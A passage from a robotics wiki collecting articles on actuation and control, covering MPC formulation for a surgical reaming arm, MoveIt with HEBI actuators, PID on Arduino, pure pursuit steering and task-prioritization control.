https://www.youtube.com/channel/UCTv1-aM_nUJYjfDGDtTU8JA - -Another resource for MPC are MathWorks videos for understanding MPC: https://www.mathworks.com/videos/series/understanding-model-predictive-control.html - -Other dynamics libraries that haven't been explored by this article's author are listed below (didn't want to recommend them since I haven't looked too much at them). These were compared against RigidBodyDynamics.jl and Pinocchio in the paper here and performed very comparably: https://people.csail.mit.edu/devadas/pubs/iros2019.pdf. - -- RBDL (C++) -- RobCoGen (C++) - -## Appendix A: Example of Formulating Optimal Control Problem - -### Background Dynamics Equations - -The equation below defines the effort variable that we are controlling and minimizing in our optimal control problem, which is the torque applied by our manipulator. In other words, the torque applied by our manipulator is our control input, u, into the system. -$$ -u = \tau_{Applied} -$$ -The equation below converts the force that the environment exerts on the end-effector to the joint torques that the manipulator experiences from the external force. The external forces will be gathered from an external force/torque sensor mounted on the wrist of the manipulator. Here J is the jacobian matrix of the manipulator. -$$ - \tau_{External} = J^T F_{External} -$$ -The equation below is the model of the force exerted onto our end-effector from the environment. We modeled it as a mass-damper system based on literature review, which indicates that reaming/drilling bone is proportional to feed rate (velocity), and not position/depth. The damping coefficient may change as depth increases, which would explain the changing force during some studies. The damping coefficient would have to be estimated at each time step. xdot is the task space velocity of the end-effector. -$$ -F_{External} = B_{External}\dot{x} -$$ - -### States - -The following variable represents the states, s, that our system will track. q is the joint positions of the manipulator measured from the joint encoders. qdot is the joint velocities of the manipulator, which will also be measured by the joint encoders. x are the cartesian coordinates of the end-effector in task space. This state will be tracked by the Atracsys 300 Camera. xdot are the cartesian velocities of the end-effector in task space. This will be derived from the joint velocities using equation below. The reason for deriving this from the joint velocities instead of the cartesian position of the end-effector from the camera is because the max velocity will be so small that the camera may not detect it with high resolution. Furthermore, the joint encoders are directly measuring velocity with high resolution, while the camera is not. And lastly, F_External will be the forces/moments that the external environment applies to the end-effector, measured from the Force/Torque sensor mounted on the wrist of the manipulator before the end-effector. -$$ -\dot{x} = J\dot{q} -$$ - -$$ -s = \begin{bmatrix}q \\ \dot{q} \\ x \\ \dot{x} \\ F_{External}\end{bmatrix} -$$ - -### Full System Dynamics - -In order to formulate the optimal control problem for our Model Predictive Controller (MPC), we need to first define our system dynamics, deriving the state derivatives, sdot. -$$ -\dot{s} = \begin{bmatrix}\dot{q} \\ \ddot{q} \\ \dot{x} \\ \ddot{x} \\ \dot{F}_{External} \end{bmatrix} = \begin{bmatrix} \dot{q} \\ M^{-1}(\tau_{Applied} - \tau_{External} - C\dot{q} - G) \\ J\dot{q} \\ \dot{J}\dot{q} + J\ddot{q} \\ B_{External}(\dot{J}\dot{q} + J\ddot{q})\end{bmatrix} -$$ -Since T_Applied is our control input, we can rewrite the equation above as -$$ -\dot{s} = \begin{bmatrix}\dot{q} \\ \ddot{q} \\ \dot{x} \\ \ddot{x} \\ \dot{F}_{External} \end{bmatrix} = \begin{bmatrix} \dot{q} \\ M^{-1}(u - \tau_{External} - C\dot{q} - G) \\ J\dot{q} \\ \dot{J}\dot{q} + J\ddot{q} \\ B_{External}(\dot{J}\dot{q} + J\ddot{q})\end{bmatrix} -$$ - -### System Constraints - -There are several constraints on the system that are either imposed because of the limitations of the manipulator itself, or the requirements of safety during surgery. The constraints imposed by the manipulator limitations are joint position and velocity limitations, as well as joint torque limitations. The following represents the limitations of the manipulator, with T_Max as the maximum joint torques of each DoF of our arm (specified by manufacturer): -$$ -u = \tau_{Applied} \leq \tau_{Max} \\ -q \epsilon q_{Limits} \\ -\dot{q} \epsilon \dot{q}_{Limits} -$$ - The following represents the limitations imposed by safety requirements: -$$ -||F_{External}|| = ||B_{External}J\dot{q}|| \leq F_{Max}\\ - ||\dot{x}|| = ||J\dot{q}|| \leq \dot{x}_{Max} -$$ -Since we are reaming a patient's hip, we want to have a limit on force applied during the operation, as well as the velocity to limit an impact forces with the hip as the reamer first makes contact with the bone. - -### Objective/Minimization Function - -The objective function is the cost function that the MPC must minimize. Within this cost function is the error between desired state trajectory and actual predicted state trajectory, as well as the error between the final desired state and the predicted final state at the end of the time horizon, H, resulting in equation below. -$$ -\min_{s_{k}, u_{k}, k\epsilon[1, H]} \quad & \frac{1}{2}(s_{H} - s_{d})^{T} Q_{H} (s_{H} - s_{d}) + \sum_{k=1}^{H-1}{\frac{1}{2}(s_{k} - s_{d})^{T} Q (s_{k} - s_{d}) + \frac{1}{2}u_{k}^{T} R u_{k}}\\ -$$ - -### The Optimal Control Problem - -Combining all the equations above result in the complete Optimal Control Problem for our MPC to solve. -$$ -\min_{s_{k}, u_{k}, k\epsilon[1, H]} \quad & \frac{1}{2}(s_{H} - s_{d})^{T} Q_{H} (s_{H} - s_{d}) + \sum_{k=1}^{H-1}\frac{1}{2}(s_{k} - s_{d})^{T} Q (s_{k} - s_{d}) + \frac{1}{2}u_{k}^{T} R u_{k}\\ -\textrm{s.t.} \quad & \begin{bmatrix}\dot{q} \\ \ddot{q} \\ \dot{x} \\ \ddot{x} \\ \dot{F}_{External} \end{bmatrix} = \begin{bmatrix} \dot{q} \\ M^{-1}(u - \tau_{External} - C\dot{q} - G) \\ J\dot{q} \\ \dot{J}\dot{q} + J\ddot{q} \\ B_{External}(\dot{J}\dot{q} + J\ddot{q})\end{bmatrix}\\ -& u = \tau_{Applied} \leq \tau_{Max} \\ -&||F_{External}|| = ||B_{External}J\dot{q}|| \leq F_{Max} \\ -& ||\dot{x}|| = ||J\dot{q}|| \leq \dot{x}_{Max}\\ & q\epsilon q_{Limits}\\ & \dot{q}\epsilon \dot{q}_{Limits} -$$ - -## References -- CMU Lecture Notes on Optimal Control: https://github.com/Optimal-Control-16-745/lecture-notebooks -- Benchmarking and Workload Analysis of Robot Dynamics Algorithms: https://people.csail.mit.edu/devadas/pubs/iros2019.pdf -- High-Frequency Nonlinear Model Predictive Control of a Manipulator: https://hal.archives-ouvertes.fr/hal-02993058v2/document -- ALTRO MPC Paper Code: https://github.com/RoboticExplorationLab/altro-mpc-icra2021 - - -/wiki/actuation/motor-controller-feedback/ ---- -date: 2017-08-21 -title: Motor Controller with Feedback ---- -In most of the applications for a DC geared motor speed control or position control might be important. This is achieved by implementing feedback control. - -In order to use feedback control, we need information about the state of the motor. This is achieved through the use of encoders mounted on the motor shaft. Typically, data from this encoder is fed into a microcontroller, such as an Arduino. The microcontroller would need to have a code for PID control. Another easier option would be to use a motor controller which has the ability to read data from the encoder. One such controller is Pololu Jrk 21v3 USB Motor Controller with Feedback. More details about this component can be found [here](https://www.pololu.com/product/1392.). - - -/wiki/actuation/moveit-and-hebi-integration/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2021-11-29 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: MoveIt Motion Planning and HEBI Actuator Setup and Integration -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - - -## Overview -MoveIt is a package within ROS primarily used to plan and actuate robot manipulators and mobile platforms. The package includes multiple path planning libraries, a framework to simulate robots within ROS using Gazebo, and plugins to dynamically build 3D occupancy maps for obstacle avoidance. There is also functionality to control physical motors and actuators using MoveIt controllers. - -For robotics projects that require a lot of these capabilities, using MoveIt within the ROS framework is a common occurrence and there are a plethora of ways to go about integrating MoveIt with a robotic system. The purpose of this article is to outline the basic setup and configuration of a robot model within MoveIt as well as an example integration of MoveIt with a series manipulator arm that has four HEBI X-series series elastic actuators. This particular integration method was done by Team C from the 2022 MRSD class at Carnegie Mellon University. The system architecture may not adhere to the common architectures of MoveIt but serves as a potential design method for future projects. In addition, these steps adhere particularly to MoveIt 1.0 on Ubuntu 18.04 systems running the ROS Melodic framework. - -### Requirements -1. Ubuntu 18.04 operating system -2. ROS Melodic framework - -## Installation -To install the necessary MoveIt packages through terminal, type the following: - - - -``` -sudo apt install ros-melodic-moveit -sudo apt install ros-melodic-moveit-visual-tools -``` - -## How to run a MoveIt pipeline -To run a robot manipulator pipeline using MoveIt, you would first need to create the model of the manipulator arm. This is done by creating a URDF model, which is essentially a 3D geometric representation of the robot. - -In brief, the URDF model file is created when converting from a xacro xml description of the robot model into a URDF model. For a detailed tutorial on how to build simple xacro and URDF models, look to the following tutorials: - -[The Construct tutorial #1: Basic URDF & RViz](https://www.youtube.com/watch?v=Ale55LcdZeE) -[The Construct tutorial #2: URDF + Xacro](https://www.youtube.com/watch?v=2lfwBpH-Ty8) - -### Create xacro file and URDF model -To create the xacro .xml file, you would need both the basic geometries of the robot and the joints of the model. By defining the joints, MoveIt can actuate these joints. - -Assuming the xacro file of the robot model has been built, you can convert the xacro file into a URDF model file using the following command (make sure you source setup.bash in order to utilize ROS commands through terminal): - -``` -rosrun xacro xacro (input-xacro-filename).xml > (desired-urdf-filename).urdf -``` - -Once the command finishes running, a URDF file of the desired name should appear in the same directory as the xacro .xml file or in the specified desired directory. - -### Run through MoveIt setup manager GUI -Once you have the model, it is time to run the MoveIt setup manager GUI. On a terminal, type the following command (make sure to source setup.bash to use ROS commands through terminal): - -``` -rosrun moveit_setup_assistant setup_assistant.launch -``` - -From here, you will be launched into a MoveIt setup assistant menu, as shown below: - -![moveit_setup_assistant_start](/assets/images/actuation/moveit_setup_assistant_start.png) - -Select “Create New MoveIt Configuration Package” then select the URDF model file created earlier. Select “Load Files” to load the URDF file. - -Once the URDF model is loaded, you will go through the various steps to configure and set up the MoveIt model. Select “Self-Collisions”. You should see the following: - -![moveit_setup_assistant_collision](/assets/images/actuation/moveit_setup_assistant_collision_check.png) - -The best option to choose here is to slide the “Sampling Density” slider all the way to the right to the highest density setting. With this setting, the GUI will compute all pairs of geometries that can collide with each other and pairs that will definitely not. Select “Generate Collision Matrix” to compute the non-colliding geometry pairs of the model. - -The next option window is the virtual joints window. Here, you would configure a robot link with an external frame of reference that is fixed. In this particular case you can configure the world frame to the world frame as a virtual joint if you want the origin point of the robot arm to be the same as the URDF file. - -![moveit_setup_assistant_virtual_joints](/assets/images/actuation/moveit_setup_assistant_virtual_joints.png) - -The next window is the “Planning Groups” window. Here, you would configure the joint groups of the robot model. There are many ways to go about this, but one method is to create a kinetic chain of joints, given you are working with a serial manipulator arm. - -![moveit_setup_assistant_planning_groups](/assets/images/actuation/moveit_setup_assistant_planning_groups.png) - -Select “Add Group”. Fill in a name for the planning group you are using. Next, select “Kinematic Solver”. The most common solver is the “kdl_kinematics_plugin/KDLKinematicsPlugin” option. Next, select the “Group Default Planner”. The most common planner is “RRTConnect”. The next step is to define your kinematic chain. Select “Add Kin. Chain” option. Given how you set up your URDF model, the chain of joints and linkages should be created and shown for you. All you have to do is to select the base link, which is the “world” link, and the tip link which is the “end_link/INPUT_INTERFACE” in this case. Afterwards, select “Save”. - -NOTE: There are tutorials available online that go through the “Add Joints” method to create the planning group, which can be another viable configuration option to explore. - -![moveit_setup_assistant_kinematic_chain](/assets/images/actuation/moveit_setup_assistant_planning_group_kinematic_chain.png) - -Moving onto “Robot Poses”, you can configure different preset positions of the robot. In the screenshot below, preset positions were made for when the serial manipulator arm is stretched out, compacted in, and in an intermediate position. Create however many preset poses you desire. - -![moveit_setup_assistant_robot_poses](/assets/images/actuation/moveit_setup_assistant_robot_poses.png) - -The next window is the “End Effectors” window. For this particular article, I will not go into the details of configuring an actuated end effector. Instead, this particular project opted to go for a simple end effector and as such configured a simple one through MoveIt. Essentially, the tip link configured in the kinetic chain portion of the setup was selected as the “Parent Link” of the end effector. - -![moveit_setup_assistant_end_effectors](/assets/images/actuation/moveit_setup_assistant_end_effectors.png) - -The “Passive Joints” section of the setup was autofilled, so we can skip the details of this window. - -![moveit_setup_assistant_passive_joints](/assets/images/actuation/moveit_setup_assistant_passive_joints.png) - -The next window “ROS Control” can be an important one. Here, you can configure a ROS controller to control the physical hardware of your robot. This can be important if you want the MoveIt pipeline to directly interface with your motors and actuators using different control schemes such as effort, velocity, or position controllers. In our case, we opted to use the simulation portion of the ROS controller, which is essentially a fake joint controller. - -![moveit_setup_assistant_controllers](/assets/images/actuation/moveit_setup_assistant_controllers.png) - -The next window is the “Simulation” window. By selecting the “Generate URDF” option, you can generate replacement URDF code to input to your URDF file in order to have the model working on Gazebo, which is the ROS simulation environment. Simply copy and paste the selected code over to your URDF file code. - -![moveit_setup_assistant_simulation](/assets/images/actuation/moveit_setup_assistant_simulation.png) - -In the “3D perception” window, you can configure a point cloud or depth map topic to interface with MoveIt. Here, the Octomap plugin for MoveIt will look at this topic and configure obstacles within the environment, as shown in RViz. This is an important window if you want to configure dynamic obstacles for the robot to be aware of and avoid. - -![moveit_setup_assistant_perception](/assets/images/actuation/moveit_setup_assistant_perception.png) - -The next window is “Author Information” within which you would fill in your name and the email of the maintainer of this ROS MoveIt node. - -![moveit_setup_assistant_author_information](/assets/images/actuation/moveit_setup_assistant_author_information.png) - -Finally, within the “Configuration File” portion of the setup assistant, the GUI will drop all the configured files to a set folder location. If this is a first-time setup, normally you would like to check off all the selected file options. Otherwise, you may want to only drop the files that you have changed since the last setup instance. Specify a “Configuration Package Save Path” location and select “Generate Package”. Once that is completed, you can select “Exit Setup Assistant”. - -![moveit_setup_assistant_configuration_file](/assets/images/actuation/moveit_setup_assistant_end.png) - - -### Simulate URDF model through Rviz - -Once you have run through the setup assistant pipeline, you can now run a demo of the robot. MoveIt has already created a launch file to launch the robot, so all you need to do is call the launch file through the terminal. - -``` -roslaunch (MoveIt-node-folder-name) demo.launch -``` - -From here, you can move the robot arm to your preset positions or move the arm through various other states by dragging-and-dropping the arm into different positions. - -## Setting Up MoveIt with ROS -To use MoveIt within ROS, modify the CMakeLists.txt file in the following sections: -``` -find_package(catkin REQUIRED COMPONENTS -... -moveit_core -moveit_ros_planning_interface -moveit_visual_tools -rviz_visual_tools -... -) - -catkin_package( -... -moveit_core -moveit_ros_planning_interface -... -) -``` - -Refer to the official MoveIt tutorials in order to get the robot up and running using the MoveIt pipeline through ROS. It is recommended to code the MoveIt pipeline through C++. - -[MoveIt Tutorials for ROS](https://ros-planning.github.io/moveit_tutorials/) - -In particular, the “Move Group C++ Interface” tutorial is a good starting point to get the MoveIt pipeline up and running. Following the tutorial, one can run a simple pose or joint goal target on the simulated robot and observe the arm plan and move through RViz. Note that in order to run the code on the simulated robot, you would need to launch the robot model beforehand. You can doing this by running the demo.launch command before running your custom MoveIt code: -``` -roslaunch (MoveIt-node-folder-name) demo.launch -``` -After launching the robot model, your path-planning software will send trajectory commands to the motors so that your robot can execute the planned path. A demo of MoveIt’s path planning capabilities can be viewed by running the following command, after launching the robot model with demo.launch: -``` -roslaunch (MoveIt-node-folder-name) move_group_tutorial_interface.launch -``` -Analyzing the code in this file will help you understand how to operate MoveIt from code. The first step is to initialize the different variables that MoveIt uses to perform its operations. You’ll be creating a planning group, move group, joint model group pointer, and planning scene interface. The planning group is just a string that references the exact robot that you’ll be planning with. The move group creates an instance of that specific robot that can be commanded by the user. The joint model group pointer is used to set the starting position of the robot arm for both planning and visualization. Finally, the planning scene interface creates a virtual environment that can be populated with objects and obstacles for the robot to interact with. After the initial robot is set up, initializing visual tools will allow you to view your robot and the planning scene interface for both feedback and control of your system. Now that everything is established you can set a variety of goals for your robot by filling in geometry_msgs pose targets or goal targets and pushing them to the move group. Once all of your desired goals are set, using move_group.plan command will trigger MoveIt to develop a plan for your robot. You can check this plan for success and then, if successful, execute the plan through the move_group.execute command. Congratulations, now you’re Moving It! - -## Setting Up HEBI with ROS -Now that we have the MoveIt motion planning pipeline configured for the robot, we can focus on the hardware portion of the robot. Normally, you would create a ROS controller in MoveIt setup assistant and configure both the controller and the hardware to move together. For this particular project, however, we found success in maintaining a fake joint states controller for the MoveIt pipeline and having the hardware motors read off the joint states topic and follow accordingly. For this particular case, we used HEBI motors and the HEBI C++ API in order to get the motors up and running. - -To install HEBI dependencies, input the following: -``` -sudo apt install ros-melodic-hebi-cpp-api -``` - -Next, you will need to navigate to your catkin workspace src directory and clone the necessary GIT repositories from HEBI: - -``` -git clone https://github.com/HebiRobotics/hebi_description.git -``` - -NOTE: The HEBI’s hebi_description repository contains .xml marco files for their motors and brackets. So if you are using HEBI as part of your robot, it would be best to incorporate these xacro macros in your robot model xacro and URDF models. - -Within your CMakeLists.txt file, include the following in the following sections: -``` -find_package(catkin REQUIRED_COMPONENTS -… -hebi_cpp_api -... -) -``` - -``` -catkin_package( -… -hebi_cpp_api -... -) -``` - -Within your package.xml file, include the following in the following sections: -``` -hebi_cpp_api -``` - -Once you have the HEBI motors installed on the robot, connect to the HEBI motors using the Scope program provided by HEBI: -[HEBI Scope download page](https://www.hebirobotics.com/apps) - -Here, you can configure different aspects of each motor including their IP addresses, family names, motor names, effort limits, and internal PID gains. The more important fields to configure in order to get the motors up and running would be the family names and motor names. - -For tutorials on how to run HEBI through C++ using the ROS framework, refer to the C++ API documentation from HEBI: -[HEBI C++ API Documentation](https://docs.hebi.us/tools.html#cpp-api) - -For this particular project, the main control scheme inputted to the HEBI motors were position commands. This fits well with our particular use case but there may be applications where one would need effort or velocity controls instead. In addition, HEBI supports multi-layered commands so users can send position, velocity, and/or effort commands within one command to the HEBI motors and the internal controllers of the motors will balance the different goals during actuation. See HEBI’s control scheme documentation for further details: - -[HEBI Motor Control Strategies](https://docs.hebi.us/core_concepts.html#control-strategies) - - -## Integrating HEBI API with MoveIt -There can be multiple ways to integrate the HEBI API with MoveIt, but the method being discussed in this document would be to have the MoveIt pipeline run a simulated model of the robot using fake joints and the HEBI motors follow that simulated model through a ROS topic subscription to MoveIt. There can be a number of advantages and disadvantages to this method. The advantages are: - -Can maintain a clean state of the robot throughout time that is not affected by the noise and external disturbances on the physical motor encoders. -Can maintain the most recent state to memory such that, when the motors die and come back online, they can immediately go to the most recent joint state of the simulated model. - -The disadvantages are: - -Implementing your own impedance or position controls takes additional steps to perform. Here, you would need to publish all your motor hardware feedback values through a separate ROS topic that you would have to manually subscribe to. -Implementing low-level controllers that directly talk to the motors can be tricky. When you start using low-level controllers, the physical robot arm will move around while the simulated arm will stay at its most recent position. This may be a challenge if you are using the Octomap dynamic obstacle detection and MoveIt sees the arm as an obstacle because it is not within where the simulated arm is. -The motors can experience some jerking motions during plan execution, especially if the motors were not at the starting position of the trajectory to begin with. - -Overall, the method here was to implement two separate ROS nodes, one node to initialize the MoveIt robot model, perform path planning, and output joint states and the other ROS node to communicate to the physical motors, subscribe to MoveIt’s joint states topic, and send position commands to the physical motors. For example, MoveIt publishes the joint states of the robot model constantly through the /joint_states ROS topic. A HEBI node could subscribe to the /joint_states topic, translate the subscribed message to joint positions for each HEBI motor, and send those commands to the HEBI motors via a HEBI command. - -Given the demo.launch file given by MoveIt, which launches the robot model amongst other necessities, the custom MoveIt API node, and the custom HEBI motor control node, one would launch the nodes in this succession: - -``` -roslaunch (MoveIt-node-folder-name) demo.launch -roslaunch (ROS-node) (custom-MoveIt-node).launch -roslaunch (ROS-node) (custom-HEBI-node).launch -``` - -This way, the robot model and description launch first, then the custom MoveIt node is able to use the robot model to move the robot and publish joints to /joint_states. Then the custom HEBI motors are able to read off those /joint_states and publish directly to the physical motors. - - -## Summary -Overall, this article aimed to present a potential method on how to integrate MoveIt’s versatile package with ROS and connect it with hardware motors, such as the HEBI motors. There can be other ways to build out the planning and actuation architecture within the ROS framework and hopefully this article provides a viable method to build out your robot design. - -## See Also -- [Moveit Perception Pipeline Tutorial](https://ros-planning.github.io/moveit_tutorials/doc/perception_pipeline/perception_pipeline_tutorial.html) -- [Octomap Main Webpage](https://octomap.github.io) - -## Further Reading -- [MoveIt Setup Assistant GUI Tutorial](https://www.youtube.com/watch?v=QdzmMRXAks4&t=789s) - -## References -- [MoveIt Tutorials for ROS](https://ros-planning.github.io/moveit_tutorials/) -- [The Construct tutorial #1: Basic URDF & RViz](https://www.youtube.com/watch?v=Ale55LcdZeE) -- [The Construct tutorial #2: URDF + Xacro](https://www.youtube.com/watch?v=2lfwBpH-Ty8) -- [HEBI Scope download page](https://www.hebirobotics.com/apps) -- [HEBI C++ API Documentation](https://docs.hebi.us/tools.html#cpp-api) - - -/wiki/actuation/pid-control-arduino/ ---- -date: 2017-08-21 -title: PID Control on Arduino ---- -The main idea behind PID control is fairly simple, but actually implementing it on an Arduino can be tricky. Luckily, the Arduino IDE comes with [a standard library for PID](http://playground.arduino.cc/Code/PIDLibrary). - -On top of that library you can also install [a package that auto-tunes your PID gains](http://playground.arduino.cc/Code/PIDAutotuneLibrary). Because it's not a standard library, you have to download the code and place in your Arduino/libraries folder. The Arduino is usually in your documents folder or wherever you installed the Arduino program. - -If your sensor readings are very noise you might want to consider adding a Kalman filter before your PID control loop. For example, for a gyro or an accelerometer generally have zero mean gaussian noise, perfect for a Kalman filter. Check out [this guide](http://forum.arduino.cc/index.php?topic=58048.0) to implement a filter on an Arduino. - -Finally, you can write your own PID software using [this guide](http://brettbeauregard.com/blog/2011/04/improving-the-beginners-pid-introduction/). You might want to do this if you want to add custom features or just want to learn more about controls. Only recommended for advanced users. - - -/wiki/actuation/pure-pursuit-controller-for-skid-steering-robot/ ---- -date: 2020-04-10 -Title: Pure-Pursuit based Controller for Skid Steering Robot - ---- -This article will cover the steps for implementing a simple Pure Pursuit based controller for a skid steering robot on a flat surface, limiting the degrees of freedom to x, y and heading(yaw). - -The controller will make use of the Pure Pursuit Algorithm to follow a desired trajectory. This is a good method to quickly implement a robust path/trajectory tracking controller for robots travelling at low speeds, where exact trajectory tracking is not required. - -One can make use of optimal control methods like iLQR for better performance in those cases. - -The aim of the controller is to determine the desired velocity of the robot given the current location of the robot and the trajectory to be followed. - -The implementation discussed here is based on R. Craig Coulter's work at the Robotics Institute, Carnegie Mellon University in January, 1992. - -## Robot Constrains - -A skid steering robot cannot have a velocity in the lateral directon. However, due to wheel slippage, it can have a forward as well as angular velocity at any instant. - -## Pure Pursuit - -Pure Pursuit is a curvature based trajectory tracking controller. It works by calculating the curvature of the path to follow in order to reach from the current position to some goal position. - -This goal position keeps on changing and is a point on the trajectory to be followed at a particular "lookahead distance" from it. - -The following image explains the concept of lookahead distance and the arc to follow. - -![Geometry of Pure Pursuit Algorithm [1]](/assets/images/actuation/pure_pursuit_geometry.png) - -In the image above, we see that given a point at a particular location from the robot say at location (x,y) in the robot's frame (the frame fixed on the robot). The point is at a distance l from the current location of the robot. Using a geometrical derivation, we can derive the radius of curvature of this arc as - - -\gamma = \frac{2*x}{l^2}\ - -This is the radius of the path we want the system to follow in order to converge to the trajectory. We can see from the image that the arc is tangential to the current trajectory of the robot. Thus the kinematic constraints of the robot are not violated. - -We see that the curvature is only dependent on the cross-track distance between the robot and the point and thus can be intutively thought of as a controller to minimize the cross track error. - -In case of a trajectory, the location along the path at any point of time is known and thus the along track error can be used to determine the desired linear velocity utilising a PID controller. In case we want to follow a path, one method is to run a PID controller to reach the lookahead point or the velocity can be set to a constant value. - -Given a V from the along-track error controller, since along the arc the linear and angular velocity are related by: - -V= wr -\\[V = \omega * r \\] - -Thus the desired angular velocity can be determined as - - -\\[\omega = \frac{V}{r} \\] - -\\[\omega = V * \gamma \\] - -\\[ \omega = \frac{2 * V * x}{l^2} \\] - -This maps the cross-track error to the desired angular velocity of the robot. One should note that the only parameter that is tuned by the user is the lookahead distance, making it easy to tune. - -# Implementation - -### 1. Determine current location of the robot - -The current location of the robot (x,y,\theta)in the world frame needs to be determined, this could come from the odometry sensor if the world frame is at the start of the path. In case one is using an absolute positioning method like a GPS, the world frame could be the "UTM" frame or any other world fixed frame. - -> One should ensure that the robot and the world frame are provided in the same format i.e. ENU or NED format. - -### 2. Find the point closest to the vehicle - -The point on the trajectory closest to the robot needs to be determined. This step will depend on how the trajectory is provided, if the waypoints on the trajectory are sparsely provided, one can connect the closest two waypoints through a straight line and project the current location of the robot on it to determine the point on the trajectory closest to the robot. -Alternatively, if the waypoints on the path/trajectory are quite dense, one can just use euclidean distance to compute the closest point. - -### 3. Finding the goal point - -The goal point is found by moving by one lookahead distance along the path/trajectory from the closest point identified before. This is the point we want to follow. However, this point is in the world frame and not in the robot's frame. - -### 4. Transforming the goal point to vehicle's coordinate - -Since the goal point is in world frame, it needs to be transformed to the robot's frame. Accurate position and orientation estimate of the robot in the world frame is critical here. Yaw value is of special importance here as it is often noisy and can lead to errors. - -### 5. Calculate controller output -The linear velocity is determined using the controller to minimize alongtrack error. - -The angular velocity is computed using - -\\[ \omega = \frac{2 * V * x}{l^2} \\] - - -These desired linear and angular velocity is followed by a low level controller. - -## References - -1. https://www.ri.cmu.edu/pub_files/pub3/coulter_r_craig_1992_1/coulter_r_craig_1992_1.pdf - -/wiki/actuation/task-prioritization-control/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2022-12-07 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Task Prioritization Control for Advanced Manipulator Control -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -​ Task Prioritization Control is a concept and control method for robotic systems, mostly applicable to serial manipulators, to allow for execution of multiple simultaneous tasks, for which the tasks have a specific order of priority for the overall system success. In this article, we will discuss what Task Prioritization Control is, its use and applications, how the math behind it is derived, and some other resources available to aid in understanding. - -## What is Task Prioritization Control? -​ As stated above, Task Prioritization Control is a concept and control method to control robotic systems when you have to accomplish multiple tasks simultaneously, and you know which of those tasks take precedence over others. More specifically, this control method is extremely beneficial to systems with extra or redundant degrees of freedom, and takes advantage of the redundancy in the system to perform more complementary tasks that would otherwise be harder to execute. If a lower priority task interferes with a higher priority task, the higher priority task will take precedence and its performance will not be affected, and the lower priority task will sacrifice degrees of freedom to the higher priority task to allow for success of the higher priority task. - -### What defines a Task? - -​ A task is a defined by a simple action that the system has to perform. For manipulators, it can be an action as simple as tracking a frame in space. Tasks can have 6 degrees of freedom or less. For example, for a manipulator doing a welding task, it is tracking a frame in space with a frame on the end-effector. However, this task is only 5 degrees of freedom, as the tool's roll does not matter with respect to the tracked frame in space, assuming the roll axis is aligned with the welding tip axis. When mathematically defining a task, it can be represented as a single vector. For kinematic controls, it is a twist vector, and can have 6 or less elements depending on the task degrees of freedom. - -## Why Task Prioritization Control? What are its Use Cases? - -​ For a system where you have multiple tasks that are essential to the success of the mission, a task prioritization controller is a great framework to both prioritize those tasks, and also execute them simultaneously. For example, for a 6 degree of freedom manipulator doing a welding task, a welding task is only 5 degrees of freedom. Therefore, there is an extra degree of freedom in the system that could be taken advantage of for another task, such as singularity avoidance or aligning the roll axis to a camera for better localization. For Team C (2022), a Task Prioritization Controller was used to perform multiple tasks simultaneously, such as aligning the reamer to the acetabulum, aligning the end-effector markers to the camera, avoiding singularities, and avoiding joint limits (https://mrsdprojects.ri.cmu.edu/2022teamc/). - -## Derivation of Task Prioritization - -​ This section focuses on the derivation and math behind task prioritization. It will be put in the context for control of manipulators to aid in understanding. -$$ -\dot{x}_i = J_i * \dot{q} -$$ -The equation above is the Forward Kinematics equation, translating joint velocities into a task-space velocities through the Task Jacobian. As a refresher, the Jacobian can be thought of as a matrix that maps how the velocity of each joint contributes to a twist of the **Task Frame** in task space. In other words, each column of a Jacobian is a twist vector corresponding to the movement of each joint at unit speed. **i** in this case is the **Task Priority Number**. A Jacobian does not need to be square. The number of columns is depending on the number of joints or controllable degrees of freedom there are. The number of rows is dependent on the number of task degrees of freedom. For the welding task on a 6 degree of freedom manipulator, mentioned in the section above, the Jacobian would be a 5 x 6 element matrix. - -However, for our controls, we need to translate the task-space velocities to joint velocities, which is what we have direct control of. Therefore, we need to inverse kinematics, and therefore need to invert the equation above. -$$ -\dot{q}_i = J^\# * \dot{x}_i -$$ -where -$$ -J^\# = (J^T J)^{-1}J^T -$$ -for Jacobians that have more rows than columns, and -$$ -J^\# = J^T(J J^T)^{-1} -$$ -for Jacobians that have more columns than rows. - -However, because this controller is only applicable to systems that have redundancy, the second equation only applies. These equations define what we call the Pseudoinverse of the Jacobian. - -Using this, inverse kinematics equation, we can now proceed with task prioritization. -$$ -\dot{q} = J_1^\#\dot{x}_1 +(I - J_1^\#J_1)\dot{q}_{2...n} -$$ -The above equation is the fundamental start to understanding Task Prioritization. Essentially, the equation is saying that the final joint velocities is a sum of the highest priority task multiplied with its Jacobian with the joint velocities contributed from lower priority tasks projected into the null space of the higher priority task. The null space projector -$$ -(I - J_1^\#J_1) -$$ -is a matrix that exposes the redundant space of the highest priority task (for i = 1), and by projecting the lower priority tasks into this space, the components of lower priority tasks that interfere with the higher priority task are removed, and only the components that can use the redundant space are left. The lower priority tasks are all summed up in -$$ -\dot{q}_{2...n} -$$ -A secondary task, i = 2 can be calculated with the following equations -$$ -\dot{x}_2 = J_2*\dot{q} = J_2*(J_1^\#\dot{x}_1 +(I - J_1^\#J_1)\dot{q}_{2...n}) -$$ -Rearranging this equation, we get -$$ -J_2(I - J_1^\#J_1)\dot{q}_{2...n} = \dot{x}_2 - J_2J_1^\#\dot{x}_1 -$$ -To simplify this equation, lets make this equivalency -$$ -\tilde{J_2} = J_2(I - J_1^\#J_1) -$$ -We can then take the pseudoinverse of this -$$ -\tilde{J_2} -$$ -and end up with the resulting equation: -$$ -\dot{q}_{2} = \tilde{J_2}^\#(\dot{x}_2 - J_2J_1^\#\dot{x}_1) -$$ - -For simplicity, the following substitution can be made. -$$ -\dot{q}_1 = J_1^\#\dot{x}_1 -$$ -So, -$$ -\dot{q}_{2} = \tilde{J_2}^\#(\dot{x}_2 - J_2\dot{q}_1) -$$ -However, -$$ -\tilde{J_2} -$$ -has its own null space, for which we can project even lower priority tasks. Therefore, we can expand the equation above in the following: -$$ -\dot{q}_{2...n} = \tilde{J_2}^\#(\dot{x}_2 - J_2\dot{q}_1) + (I - \tilde{J_2}^\#\tilde{J_2})\dot{q}_{3...n} -$$ -Plugging this resulting equation into an 